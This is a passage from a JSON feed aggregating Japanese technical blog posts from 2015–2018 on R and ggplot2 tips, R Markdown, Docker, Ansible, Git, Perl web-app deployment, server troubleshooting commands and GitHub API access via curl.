(brushOpts)","link":"https://blog.atusy.net/2018/11/21/shiny-brushopts/","contentSnippet":"Shinyでplotly.jsを使わずにインタラクティブな図を作れるのかなと思ったら、「Shiny 100本ノック」の【Shiny小技】グラフをダブルクリックすると情報が取得できる、dblclickOptsの紹介を見つけました。どうやら、 brushOpts なるものを使えば、 plot (ggplot2 を含む)の拡大ができるようなので試してみました。","isoDate":"2018-11-21T00:00:00.000Z","dateMiliSeconds":1542758400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ヒストグラムのビンの色をx軸に応じて変える","link":"https://blog.atusy.net/2018/11/20/histogram-fill-along-x/","contentSnippet":"ヒストグラムをヒートマップの凡例 + αにしたい試行錯誤の歴史データ整形ヒストグラムfill = x ではダメfill = stat(x) ならOKソース追記tl; drgeom_histogram(aes(fill = stat(x))) すればいい。ヒストグラムをヒートマップの凡例 + αにしたいから、ヒストグラムのビンの色をx軸に応じて変えたいと思った。","isoDate":"2018-11-20T00:00:00.000Z","dateMiliSeconds":1542672000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"felp 0.1.3","link":"https://blog.atusy.net/2018/11/18/felp-0-1-3/","contentSnippet":"felp 0.1.3 を 公開 しました.ようやく実用レベルになったかと思います.関数のソースとヘルプを同時に見たい人のためのパッケージです.ソースの読解が捗りますね!インストール方法devtools::install_github(\\"atusy/felp\\")使い方?print や print?. と打つだけ.","isoDate":"2018-11-18T00:00:00.000Z","dateMiliSeconds":1542499200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdのfig.capを図を生成するチャンク内にglueで書く","link":"https://blog.atusy.net/2018/11/11/glue-for-fig-cap-in-rmd/","contentSnippet":"Rmdのchunkオプションである fig.cap の評価は,チャンクの評価が終わってからです.この性質を利用すると,チャンク内にキャプションと図を同居させることが簡単になります.","isoDate":"2018-11-11T00:00:00.000Z","dateMiliSeconds":1541894400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2のレジェンド位置を調整","link":"https://blog.atusy.net/2018/11/10/ggplot2-legend-pos-n-just/","contentSnippet":"ggplot2のレジェンド位置を変えるにはLet’s try!パッケージ基本となる図を用意レジェンド位置を数値で指定するレジェンド位置を文字列で指定するlegend.positionlegend.justificationEnjoy!ggplot2のレジェンド位置を変えるにはCookbookのChanging the position of the legendが参考になる.要は theme() を使ってlegend.position を長さ2の数値ベクトルないし\\"none\\" , \\"left\\" , \\"right\\" , \\"bottom\\" , \\"top\\" の文字列で与え,","isoDate":"2018-11-10T00:00:00.000Z","dateMiliSeconds":1541808000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"geom_histogramのビン幅を動的に決定する","link":"https://blog.atusy.net/2018/11/09/binwdith-for-geom-histogram/","contentSnippet":"TL; DRggplot2のヒストグラムはビン数30が既定ビン幅を動的に決めたいgeom_histogram(binwidth = ) に関数を指定ビン幅を決める関数を定義テストEnjoy!TL; DRgeom_histogram(binwidth = ) はデータを受け取ってビン幅を返す関数を受け付けるよ。ggplot2のヒストグラムはビン数30が既定なぜ……。調整するには bins でビン数を変えるか、 binwidth でビン幅を変える。両方指定すると binwidth が優先される。","isoDate":"2018-11-09T00:00:00.000Z","dateMiliSeconds":1541721600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Docker] awslogs-datetime-format の指定方法に注意","link":"https://qiita.com/toshikish/items/59a3a4426930e29f0673","contentSnippet":"[Docker] awslogs-datetime-format の指定方法に注意背景Dockerの awslogs ログドライバでは,awslogs-datetime-format オプション…","isoDate":"2018-11-07T03:23:50.000Z","dateMiliSeconds":1541561030000,"authorName":"toshikish","authorId":"toshikish"},{"title":"R起動時に不足パッケージを導入しつつ読み込む","link":"https://blog.atusy.net/2018/11/06/defaultpackages-rprofile/","contentSnippet":".Rprofileを使っていつも使うパッケージはR起動時に読み込む例えば, tidyverse を読み込みたいなら,options(defaultPackages = c(getOption(\'defaultPackages\'), \'tidyverse\'))とする.library ではなく options を利用することで,filter() で dplyr::filter() を呼ぶつもりが stats::filter() を呼んでしまうような事故を防げる.不足パッケージをインストールしたいこれは一筋縄ではいかず,私は callr::r() を使うことで解決した.","isoDate":"2018-11-06T00:00:00.000Z","dateMiliSeconds":1541462400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2で$TeX$を利用する","link":"https://blog.atusy.net/2018/11/03/tex-in-ggplot2/","contentSnippet":"はじめにインストール使ってみるタイトルなどで \\\\(TeX\\\\)geom_text で \\\\(TeX\\\\)facet_wrap や facet_grid で \\\\(TeX\\\\)Enjoy!はじめにggplot2 で \\\\(TeX\\\\) 記法が使えると嬉しいですよね.一応,そういう人たちのための入口としては expression だとか bquote だとかがあるんですが,ここでは紹介しません.いえ,毎度使い方を忘れてしまい,紹介できないというのが正しいです.","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"patchworkの表示を高速化したかった……","link":"https://blog.atusy.net/2018/11/03/accelarate-patchwork/","contentSnippet":"失敗の記録.目的ggplotのリストの表示を高速化するで紹介した通り,ggplotオブジェクトはprintされる段になって,プロットに必要な計算を行っているため,大量のggplotを行うならば,計算部分を並列化し,表示を順次行うのが効率的だ.patchworkを使ってggplotオブジェクトを並べる時も同様では……? と思い,実験したが,何故かそうはならなかった.","isoDate":"2018-11-03T00:00:00.000Z","dateMiliSeconds":1541203200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplot2とpatchworkで周辺分布","link":"https://blog.atusy.net/2018/11/02/marginal-patchwork/","contentSnippet":"patchworkパッケージを使えばあんな図やこんな図が簡単に,と思い馳せた人も多いのではなかろうか.参考: TokyoR 73での発表スライド中でも周辺分布を自由に綺麗に,と思ったのは私だけではないはず.","isoDate":"2018-11-02T00:00:00.000Z","dateMiliSeconds":1541116800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"RmarkdwonのYAMLフロントマターで\\ntitleとか\\nauthorとか\\n改行する","link":"https://blog.atusy.net/2018/10/27/linbreaks-in-yaml-front-matter-of-rmd/","contentSnippet":"@niszet0 さん著「R MarkdownでWord文書を作ろう」を読んでます。Rmdを扱った商業誌にも、同書ほどRmdファイルのYAMLフロントマターの書式を丁寧に書いている本はないのではないだろうか。使えれば良いというスタンスだったのもあって、YAMLのフロースタイルとか、始めて学びました。しかし、これだけ詳しく書いてあるのに改行のことに触れられていないな、とふと。","isoDate":"2018-10-27T00:00:00.000Z","dateMiliSeconds":1540598400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Plotlyで軸比を1:1に固定する","link":"https://blog.atusy.net/2018/10/26/plotly-fixed-axes/","contentSnippet":"今迄Plotly.jsを使いたい時は、元の図を ggplot2 パッケージで作成し、 plotly::ggplotly() で変換していた。しかし、どうもパフォーマンスが悪い気がするので、Plotlyネイティブに書いてみようと思った。","isoDate":"2018-10-26T00:00:00.000Z","dateMiliSeconds":1540512000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R Markdown で PlantUML","link":"https://blog.atusy.net/2018/10/25/plantuml-on-rmd/","contentSnippet":"@niszet0 さんの “R MarkdownでWord文書を作ろう” を摘み食いしてます (以下RmdでWord本).ちゃんとしたいずれレビューはいずれするとして,気付いたところを少しずつメモしていきたい.","isoDate":"2018-10-25T00:00:00.000Z","dateMiliSeconds":1540425600000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"結婚式で使った楽曲","link":"https://blog.atusy.net/2018/10/22/bridal-music/","contentSnippet":"9/29に結婚式を挙げました。なんとこの日は私の愛すDo As Infinityのデビュー日。ゆかりんが登場したことで、一部が騒然(?)としましたが、Do As Infinityメドレーなど、私の趣味全開です。","isoDate":"2018-10-22T00:00:00.000Z","dateMiliSeconds":1540166400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"TokyoR 73 行ってきました","link":"https://blog.atusy.net/2018/10/21/tokyor73/","contentSnippet":"2018年10月20日はJuliaなんちゃらやらなんやらと沢山の勉強会が同時開催された日だったらしいですね。私はTokyoR 73を選んで「ggplot2で図を並べる」と題して facet_grid() 、 facet_wrap() 、 patchwork パッケージについて作例交えて話してきました。","isoDate":"2018-10-21T00:00:00.000Z","dateMiliSeconds":1540080000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ggplotのリストの表示を高速化する","link":"https://blog.atusy.net/2018/10/16/accelerate-list-of-ggplot/","contentSnippet":"大きなデータを用いたggplotのリストや,大量のggplotのリストを高速に描写するための関数 print_gglist を作りました.devtools::install_github(\'atusy/ggAtusy\')で遊べます.はじめにggplot2パッケージで作成したプロット (ggplotオブジェクト) はprintされる段になって,プロットに必要な計算を行っている.","isoDate":"2018-10-16T00:00:00.000Z","dateMiliSeconds":1539648000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Antergos導入","link":"https://blog.atusy.net/2018/10/11/hello-antergosmd/","contentSnippet":"自宅用PCにAntergosを導入しました.ppaを足すも.debや.tar.gzを落とすもなんかかったるくなってAURが楽しそうなArchlinux系列を試すことにしました.","isoDate":"2018-10-11T00:00:00.000Z","dateMiliSeconds":1539216000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"ローカル環境でAnsibleの鍵交換がめんどくさい貴方に送るプラクティス","link":"https://qiita.com/skikkh/items/ca236c512d314691b35c","contentSnippet":"はじめに平成の時分も終わりに近づく中、野分立ち尽くす天災に人々は翻弄され、お家で過ごすのを余儀なくされる日が多いように思います。^1今日のような一日は、自然とQiitaにたどり着き、PVが増…","isoDate":"2018-09-30T09:33:37.000Z","dateMiliSeconds":1538300017000,"authorName":"skikkh","authorId":"skikkh"},{"title":"新人が学ぶAnsibleもくもく会 ネットワーク編 報告会","link":"https://qiita.com/skikkh/items/156c677e07ffc6b5b4ef","contentSnippet":"はじめにお久しぶりのエントリになります。新卒でインフラエンジニアをしている小心者のひよこです。このような職種に身をおいてはや5ヶ月というところで、世の中を幅広く見渡してみると、どうやら世は大…","isoDate":"2018-08-29T14:34:09.000Z","dateMiliSeconds":1535553249000,"authorName":"skikkh","authorId":"skikkh"},{"title":"roxygen2タグまとめ","link":"https://blog.atusy.net/2018/08/28/roxygen2matome/","contentSnippet":"まとめTips@title、@description、@details について@importFrom、@seealso について@examplesをcheckしたくない時if (interactive()) {}でコードを囲む\\\\dontrun{}でコードを囲むその他References変更履歴Roxygen2のタグについての情報が複数箇所に分散していて調べるのが大変なのでまとめた。","isoDate":"2018-08-28T00:00:00.000Z","dateMiliSeconds":1535414400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"欠損値の発生過程の類別","link":"https://blog.atusy.net/2018/08/25/missing-value-type/","contentSnippet":"先日、欠損値の発生過程の例を図示してTweetしたところ、思ったより反響がよかったので、図をブラシュアップの上、記事に残すことにした。俄仕込みなので、間違いがあったらTwitterで指摘して下さい。","isoDate":"2018-08-25T00:00:00.000Z","dateMiliSeconds":1535155200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"Rmdでchunkごとの実行時間を計測","link":"https://blog.atusy.net/2018/08/18/time-each-chunk/","contentSnippet":"Jupyter Notebookでは、コードブロック冒頭で %%timeit と唱えると、ブロックの評価に要した時間を表示できる。https://jakevdp.github.io/PythonDataScienceHandbook/01.07-timing-and-profiling.htmlこれをRmdでもできないかなー? と思って knit_hooks() を利用してみた。knit_hooks() の使い方の詳細はこちら。","isoDate":"2018-08-18T00:00:00.000Z","dateMiliSeconds":1534550400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"パラメータ付きRmdを試す","link":"https://blog.atusy.net/2018/08/17/rmd-parameterized/","contentSnippet":"パラメータ付きRmdが便利そうだと思ったのでメモと実験パラメータ付きRmdとはYAMLヘッダーの params で作成される変数のリストを用いたRmdうまく使えばYAMLヘッダーさえ弄ればOKな半自動レポーティングの助けになると思われる。","isoDate":"2018-08-17T00:00:00.000Z","dateMiliSeconds":1534464000000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"R3.5系ではファイル同期ソフトでパッケージを同期しないように","link":"https://blog.atusy.net/2018/07/31/dont-sync-pkg-r3-5/","contentSnippet":"タイトル通り、R3.5系ではファイル同期ソフトでパッケージを同期しないようにしましょう。同期しておくとある環境にインストールしたパッケージを他の環境でもすぐさま利用できて便利だったのですが……。","isoDate":"2018-07-31T00:00:00.000Z","dateMiliSeconds":1532995200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"xetexでunicode文字","link":"https://blog.atusy.net/2018/07/09/xelatex%E3%81%A7utf8%E6%96%87%E5%AD%97/","contentSnippet":"$\\\\LaTeX{}$ で μ や α など特殊文字を直打ちすると、XeTeXを使っている場合は、\\\\setmainfont{IPAMincho}など、ユニコードに対応したフォントを使うように指定する。","isoDate":"2018-07-09T00:00:00.000Z","dateMiliSeconds":1531094400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"GitHub pages with Rmarkdown","link":"https://blog.atusy.net/2018/07/05/github-pages-with-rmarkdown/","contentSnippet":"遅蒔きながら、Rのblogdownパッケージを使ってblogを始めてみた。“Rとblogdownでかんたんにgithub.io上にブログを使ってみよう!!”を参考にしたのだが、何点かハマったところがあったのでメモ。baseurl = \\"/\\"トップページが404の時はもう一度pushしてみる記事の規定拡張子はoptionで指定option(blogdown.ext = \'.Rmd\')参考URLにある option(blogdown.Rmd = TRUE) は過去のもの?","isoDate":"2018-07-05T00:00:00.000Z","dateMiliSeconds":1530748800000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"[Laravel] バリデーションデータに前処理したい","link":"https://qiita.com/toshikish/items/f38b691adbebd7ba7720","contentSnippet":"[Laravel] バリデーションデータに前処理したい当てはまるケースフォーム入力データとデータベース保存データの形式が違う.例えば…全角・半角変換先頭・末尾の空白を取り除くユーザーには0…","isoDate":"2018-06-12T09:27:45.000Z","dateMiliSeconds":1528795665000,"authorName":"toshikish","authorId":"toshikish"},{"title":"Git リポジトリを分割する","link":"https://qiita.com/toshikish/items/3529f75c511a65723798","contentSnippet":"以下のようなディレクトリ構造のリポジトリを分割する方法を場合分けしてまとめます。repo1/ ├─ subdir/ ├─ aaa ├─ bbb ├─ ccc └─ dddケース1:サブディレクト…","isoDate":"2018-04-11T10:14:22.000Z","dateMiliSeconds":1523441662000,"authorName":"toshikish","authorId":"toshikish"},{"title":"障碍対応と私","link":"https://blog.masasuzu.net/entry/2015/12/18/troubleshooting","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 18日目の記事です昨日は@yashims85さんのAndroid drawableは画像を入れておくだけじゃないでした。今日は障碍の話です。普段障碍対応しているときにやってること考えてることをざっくりと時系列を追って書いていきたいと思います。コンテキストとしてはLinuxサーバでwebサービスをやっていると思っていただければと思います。障碍の検知webサービスを運営していれば、何かしらの監視システムからSlackなりIRCなりメールなり電話なりでアラートの通知が来ると思います。対応報告障碍対応をしている旨をメールなり、何かの連絡手段で伝えます。同じく見ている人がいれば調査作業の分担もできます。状況把握どこで障碍?アラートの通知内容にどのサーバで何が起きた的なことが書いてあるはずなので、それを確認します。だいたいの組織に於いてはサーバ管理表的なものがwebなりExcelなり設定ファイルなりにあるはずなので、そこと照らし合わせてどのプロジェクトのどのロールなのかを把握します。直前に何をした? いつもと違うことは何?webアプリケーションであれば直前に入れた変更が原因かもしれません。また、ちょっと前に入れていた変更だが、cronで時限発火したというケースも考えられるかも知れません。イベント開始で急にトラフィックが上がったと言うことも考えられるかも知れません。普段と変わったことは何かということが把握出来れば対処の幅が広がります。影響範囲は?サービス全体なのか、サービスの1機能の障碍なのか、ミドルウェア障碍なのか、影響がどの範囲に及んでいるのかを見ます。ミドルウェア障碍であれば、最近であれば、冗長化されてるのが普通なので、サービスから切り離して、監視から外せば終わりというパターンも多いです。サービス全体が落ちている場合は、ひとまず重要な関係者に状況の1次連絡すぐにした方が良いでしょう。接続出来る?そもそも、該当サーバに接続出来ない場合は、できることはほぼないので、該当サーバをサービスから外した上で、監視対象から外します。(単体のサーバ障碍の場合)# pingは通る?ping ${IP}# sshできる?ssh ${IP}ログの確認該当サーバ上で動いているミドルウェアやアプリケーションサーバのエラーログを主に見ます。だいたいこの辺に重要な情報が出力されている可能性があります。システムのログも確認した方が良いです。主にsyslogやkernelログを見ると良いでしょう。# syslogを見るless /var/log/syslog# kernelログを見るless /var/log/kern.log# kernelログを見る2dmesgサーバ状態の確認負荷の関係で障碍が起きているのであれば、現在のサーバの状態を確認しましょう。以下のようなコマンドが現状把握に役立つでしょう。# loadaverageおよびログイン中のユーザを見るw# 変なプロセス無いか見るps -ef# orps auxwwww# 開いているポートを確認するnetstat -tlnp# ネットワークコネクションを確認するnetstat -taopen# なにかCPU使いまくってないか見るtop# 現在の負荷の経過を見るdstat -tamsl 5# 過去の負荷情報を見る## CPUsar## memorysar -r## lasar -q対処直前のコミットにバグを入れ込んでしまったのであればリバートすれば解決するでしょうし、特定のサーバ落ちたのであれば、サービスから外してあげるだけで良いかも知れません。障碍の内容によって対処方法は様々です。ここで気を付けたいのは二次災害を起こさないことです。可能であれば、コマンドなり対処スクリプトのレビューをしてもらったり、現状認識に間違いがないかを周りの人にしてもらうと良いでしょう。(往々にして一人で障碍対応せざるを得ない場合もありますが。。)事後報告障碍対応が終わったら、記憶が新鮮なうちに下記の内容をまとめてしかるべき場所に投稿します。この辺の報告のフォーマットはだいたいの組織において決まっていることが多いでしょう。障碍内容影響範囲経過対処方法将来の対策面倒くさがらずに事実をなるべく詳細に書いておくと未来の自分や自組織のためになると思います。私の組織でも過去の障碍報告がだいぶ良い感じにデータベースになっており、たまに読み返すと気付きが得られます。また、この障碍報告を元に、同種の障碍をなるべく起こさない仕組み作りをしていくことが肝要だと思います。終わりに自分が障碍対応しているときにやってること、考えてることをざっくり書いてきました。誰にやり方を教わったわけでもないので、そこは違うとかこうした方がいいとかあれば、いただけると幸いです。明日は、@lycoris102さんのGameJam部 活動年間活動報告です。きっと面白い話なのではないでしょうか。","isoDate":"2015-12-18T13:00:00.000Z","dateMiliSeconds":1450443600000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#chibapm Chiba.pm#7に参加しました。","link":"https://blog.masasuzu.net/entry/2015/12/12/chiba.pm-7","contentSnippet":"参加しました。雑なスライドですみません。スライド中に出てきてるやつはどれも五反田のお店で出てきます。五反田企業のガイアックスさんとかモバイルファクトリーさんはPerlの会社なので、美味しいごはんを食べたい人は検討してみてはいかがでしょうか。そういえば、Chiba.pmの開催回数がKichijoji.pm、Gotanda.pmに抜かされそうです。。","isoDate":"2015-12-12T09:39:37.000Z","dateMiliSeconds":1449913177000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"2015-12-12-chiba.pm7","link":"https://speakerdeck.com/masasuzu/2015-12-12-chiba-dot-pm7","contentSnippet":"Chiba.pm#7 2015年をふりかえる","isoDate":"2015-12-12T05:00:00.000Z","dateMiliSeconds":1449896400000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Plack/PSGIなwebアプリケーションの実行環境","link":"https://blog.masasuzu.net/entry/2015/12/11/plack-psgi-exec-env","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 11日目の記事です※ 投稿内容は私個人の意見であり、所属企業・部門見解ならびに技術戦略を代表するものではありません。昨日は@rymizukiさんのnpmライブラリの運用と管理についてでした。今日はPerlの話です。お仕事やプライベートでPerlのwebアプリケーションを書くことが多く、いろいろ知見が溜まってきてるので、ここで少し紹介しようと思います。今回はPlack/PSGIなwebアプリケーションの実行環境の話です。mod_perlなアプリケーションとはちょっとコンテキストが違います。少しかっちりコンテキストに近いです。個人で軽くwebアプリケーション立てるならもう少しゆるふわでも問題ないはずです。OSUbuntuのLTSを使うことが多いです。Ubuntu前提の内容が後に続きます。PerlSystem Perlは使ってません。OS/ディストリビューションが変わってもなるべくそのまま動くようにしたいためです。perl-buildで独自ビルドしたPerlを使います。インストール場所としては、 /usr/local/perl/perl-5.${VERSION} に置きます。Perlを独自ビルドしたものをDebian package化して実行環境にはインストールします。他の方法としては、ビルド済みのperlをtarで固めて、配布するというのもあります。どちらでも構わないのですが、ローカルネットワークにaptサーバ立てている関係で、Debian packageの方が運用しやすいのです。また、perlのマイナーバージョンアップの際もDebian packageを作り直した上で、 apt-get upgrade (or aptitude safe-upgrade)で完結するので、aptの操作に慣れていて楽というのもあります。モジュール管理今風にcpanfileでモジュール管理してます。モジュールインストールはCartonを使ってます。Cartonの後継でCarmelも開発されてます。個人的にはそろそろ触っておきたいところです。また、cpanfile.snapshotもレポジトリに入れています。一般的なモジュールは特定の(古い)バージョンに依存せずに動くべきですが、依存モジュールのバージョン違いによって現在動いているアプリケーションが壊れるのを防ぐために、バージョン固定します。cpanfile.snapshotがある状態で下記のように carton install してあげると、どの環境でも同じバージョンのモジュールがインストールされます。carton install --deployment --without develop,test今やってないですが、別方法としては、モジュールがインストール済みの状態で、 carton bundle すると vendar/ にモジュールのtarが固められるので、それもレポジトリ管理した上で、下記の様にインストールするという手もあります。インストールの際は vendor/bin/carton にfatpackされたcartonコマンドが入るのでそれを使います。(アプリ実行環境にcartonを敢えて入れる必要は無い)# 依存モジュールを固めるcarton bundle# インストール# env.shは後述./script/env.sh vendor/bin/carton install --cached --deployment --without develop,testさらに別方法としては、ビルドサーバで依存モジュールをビルドした上で、ディレクトリごと実行環境にrsyncしてあげる方法です。ビルドサーバを運用しているならば、この方法でも良いでしょう。参照Carton考2014carton bundle && carton install --cachedの使いどころ独自モジュールなるべく、独自モジュールは使わない方が良いのですが、個人的な事情などで、CPANに公開出来ないモジュールに関しては、OrePAN2 でDarkpanを作ってそこからローカルに配信するようにしてます。OrePAN2のサーバを簡単に立ち上げられるOrePAN2::Serverがありますが、一時期は使っていましたが、モジュールのアップロード機能は別にいらないなどの理由で今はwebサーバから静的配信してます。環境変数プロジェクトのレポジトリに config/env.rc という名前で、アプリケーションを動かすために必要な環境変数を定義したファイルを作ります。PERL5_VERSION=\\"22\\"export PROJECT_BASE=\\"/path/to/project\\"export PERL_CARTON_MIRROR=\\"http://orepan.local/\\"export PERL5LIB=\\"${PROJECT_BASE}/local/lib/perl5:${PROJECT_BASE}/lib\\"export PATH=\\"${PROJECT_BASE}/local/bin:/usr/local/perl/perl-5.${PERL5_VERSION}/bin:${PATH}\\"export PLACK_PORT=5555また、 script/env.sh という名前で config/env.rc を読み込んだ上で、プログラムを実行するラッパースクリプトを作ります。スクリプトなどは基本的にこれを通して実行します。#!/bin/bash -ue# 諸々環境変数を設定した上でコマンドを実行する君## env.sh perl hogehoge.pl#source /path/to/project/config/env.rcexec \\"$@\\"開発環境で、いちいちラッパースクリプト通すのが面倒な場合は、config/env.rc のsymlinkをプロジェクトルートに .envrc として張った上で、direnv使って済ましてしまう場合もあります。web サーバ起動スクリプトpsgiファイルを plackup するのではなく、こんな感じのスクリプトをscript/web みたいな名前で 用意してアプリケーションサーバを起動するようにしてます。#!/usr/bin/env perluse strict;use warnings;use lib \\"$ENV{PROJECT_BASE}/lib\\";use Plack::Loader;use SomeApplication::Config;use SomeApplication::Web::Handler;my $config = SomeApplication::Config->load();my $app = SomeApplication::Web->to_app();Plack::Loader->load( $config->{psgi}->{server}, %{ $config->{psgi}->{config} },)->run($app);また、このスクリプトをstart_serverを経由して起動することで、(graceful restartによる)ホットデプロイをできるようにしてます。start_server のプロセスにSIGHUPを送ると子プロセスのアプリケーションサーバを再起動してくれるのですが、 plackup コマンドで起動してると start_server に渡した引数をそのまま使ってplackup を再起動するので、 max_workers の数を変えたいときなど、 start_server 自体のプロセスを再起動しなくてはならないので不便です。なので、起動スクリプトを作ってます。そのほかにも理由があるのですが、参照リンクに詳しくあります。サーバ実装としては、StarletやGazelleを使ってます。参照PSGI/Plackアプリケーションの起動方法いろいろと本番環境アレコレ普通に使う Plack/PSGI ServerGraduate from .psgiデーモン管理現在はUpstartでアプリケーションサーバのデーモン管理してます。以下の理由で、個人的には好きでした(過去形)。最新のUbuntuはSystemdに変わってしまったので、将来的にはSystemdに移行することになるでしょう。Ubuntuに標準で入っていてサーバ起動時の自動起動してくれてデーモン異常終了時に自動再起動してくれて設定はわりかしわかりやすい/etc/init/web-some-application.conf みたいな名前でこんな設定ファイルを作りますdescription \'some web application\'author \'masasuzu \'start on runlevel [2345]stop on starting rc RUNLEVEL=[016]setuid webappsetgid webapp# 異常時に再起動するrespawnscript . /path/to/project/config/env.rc export PLACK_ENV=\\"production\\" exec ${PROJECT_BASE}/local/bin/start_server \\\\ --interval 10 \\\\ --port ${PLACK_PORT} \\\\ -- ${PROJECT_BASE}/script/service/webend script上記のファイルを作ると以下のように操作出来ます。reloadでSIGHUPが送れるので、アプリケーションサーバのstart_server経由のgraceful restartができます。# 起動service web-some-application start# 停止service web-some-application stop# (start_serverのプロセスごと)再起動service web-some-application restart# Plackサーバを再起動service web-some-application reloadアプリケーションサーバ以外も、ジョブのワーカーなども、独自に設定ファイルを作って、Upstart経由で起動したりしてます。Upstart以外の選択肢としては、先に挙げたSystemdの他、以下のものがあるでしょう。好みと要件に合わせて使えば良いと思います。daemontoolsSuvpervisordSystemd参照Server::Starterから学ぶhot deployの仕組みServer::Starter の --interval オプションは大切Upstart を使ってお手軽 daemon 化Upstart Intro, Cookbook and Best PractisesおわりにWAF(Web Application Framework)やログの話など膨らまそうと思えばもっと膨らませられますが、実行環境の話なので、ここまでで抑えておきます。ざっくりと、Plack/PSGIなアプリケーションの実行環境について説明してきました。PerlでWebアプリケーションを作る時に何か参考になれば幸いです。また、もっと良い方法があれば、教えていただけるとありがたいです。明日は、@nekobato さんです webpackのなにか面白い話があるんじゃないかとわくどきしてます。","isoDate":"2015-12-11T04:30:00.000Z","dateMiliSeconds":1449808200000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"Github APIを使おう","link":"https://blog.masasuzu.net/entry/2015/12/04/use_github_api","contentSnippet":"この記事は、モバイルファクトリー Advent Calendar 2015 4日目の記事です今日は、Github APIの話です。Githubの管理作業は他のWebサービスと同じく基本Webコンソールでできます。ただ、Organizationとかを管理してる場合、ある程度以上規模が大きくなると、定型的な管理作業が増えて、Webでぽちぽちやるには煩雑でつらくなってきます。ここで怠惰エンジニア*1はどうにかこの定型作業を自動化/スクリプト化できないかなと考え始めます。幸い、GithubにはAPIがあるので、これを利用して要件に合わせて、実装することができます。ドキュメントは以下の場所にあるので、各APIの使い方などはそちらを参照してください。GitHub API v3 | GitHub Developer Guideapiアクセスを投げるpublicな情報を取得するには普通にcurlでGET発行するだけで、取得出来ます。curl https://api.github.com/users/masasuzu/reposが、これだけでは、privateな情報にアクセスできません。ので、Basic認証をしてアクセスをします。curl -u ${USER}:${PASSWORD} https://api.github.com/orgs/some_privete/reposただ、この場合、このアカウントで出来ることが全て実行出来てしまうので、下記のリンクからアクセストークンを発行して、権限を絞ってAPIにアクセスするのが望ましいです。アクセストークンは作成時にしか見れないので、ちゃんと書き留めておくようにしましょう。Personal access tokensアクセストークンを使用した場合、下記の3つの方法で認証出来ます。curl -u :${ACCESS_TOKEN} https://api.github.com/orgs/some_privete/reposcurl -H \'Authorization: token ${ACCESS_TOKEN}\' https://api.github.com/orgs/some_privete/reposcurl \'https://api.github.com/orgs/some_private/repos?access_token=${ACCESS_TOKEN}\'ドキュメントに各API発行に必要なscope(権限)が書いてあるので必要なscopeだけ付与してあげると良いです。perlでの選択肢今までで、APIアクセスする手段を得ることはできましたが、シェルスクリプトで処理を組み立てるのは、無謀なので、使い慣れてるプログラミング言語で実装したいところです。当社ではPerlを使い慣れてるエンジニアが多いので、ここではPerlのクライアントを紹介します。現在のところ以下の2つの選択肢があります。PithubNet::Github私はPithubを使っています。使い始めた時期においてPithubの方が更新されてそうだったからです。が、今見るとNet::Githubも更新されてるように見えます。他の言語での選択肢特にプログラミング言語にこだわりが無いのであれば、githubがメンテナンスしてるoctokitを使うと良いと思います。RubyとObjective C、.Netに対応してます。たぶん鉄板だと思います。(しかし、octokitのこのサンライズというかバンダイに怒られそうなデザインは大丈夫なのでしょうか?まとめ煩雑で定型的な作業はGithub APIで自動化すると良いPrivateな情報の操作はアクセストークンを発行してAPIを発行するPerlにはPithubとNet::Githubのクライアントライブラリがあるこだわりがなければ、クライアントはoctokit使うと良い明日は、 @mihyaeru21 さんです。iOS回りの面白いエントリが見れそうです。*1:プログラマの3大美徳の1つ","isoDate":"2015-12-04T14:47:44.000Z","dateMiliSeconds":1449240464000,"authorName":"SUZUKI, Masashi","authorId":"masasuzu"},{"title":"#gotandapm Gotanda.pm Perl Technology Conference #6 でLTしてきました。","link":"https://blog.masasuzu.net/entry/2015/09/17/Gotanda.pm6","contentSnippet":"gotanda-pm.connpass.comGotanda.pmでLTしてきました。今回のテーマは障碍でした。半分ネタのトークです。JSTQB Foundation Level のシラバスに載っているソフトウェアテストの7原則をもじったやつです。JSTQB認定テスト技術者資格-シラバス(学習事項)・用語集-言ってみれば、サービスに対して継続的にテストするのが監視なのでテストに対する原則が監視に対しても言えるんじゃないかなーという軽い思いつきから生まれました。無理矢理な部分もありましたが、わりかし当てはまってる部分もあったのではないかと思いました。トーク中美味しいにおいがしてきてつらかったです。(このエントリは懇親会の前に書かれてます)#gotandapm 美味しそうなにおいがして辛い。。。。— masasuzu? (@masasuz) September 17, 2015ガイアックスさん会場提供ありがとうございました。","isoDate":"2015-09-17T12:14:35.000Z","dateMiliSeconds":1442492075000,"authorName":"SUZUKI, 